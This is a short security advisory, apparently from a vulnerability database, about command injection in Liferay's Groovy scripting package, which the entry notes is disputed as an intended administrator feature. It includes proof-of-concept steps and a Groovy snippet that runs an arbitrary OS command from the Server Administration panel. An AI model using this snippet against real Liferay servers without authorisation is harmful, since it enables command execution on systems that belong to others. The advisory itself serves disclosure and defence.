How to fix?

There is no fixed version for com.liferay:com.liferay.portal.scripting.groovy.

Overview

Affected versions of this package are vulnerable to Command Injection via a Groovy script a user with high privileges can execute any OS command on the underlaying server.

PoC

  1. Login as admin

  2. In the Product Menu, navigate to Control Panel and select Configuration → Server Administration.

  3. Execute the following script:

def sout = new StringBuilder(), serr = new StringBuilder()
def proc = '[command]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Instead of command insert arbitrary command (i.e ls -la).

Note: This CVE is disputed since it is a feature for administrators to run groovy scripts and therefore not a design flaw.
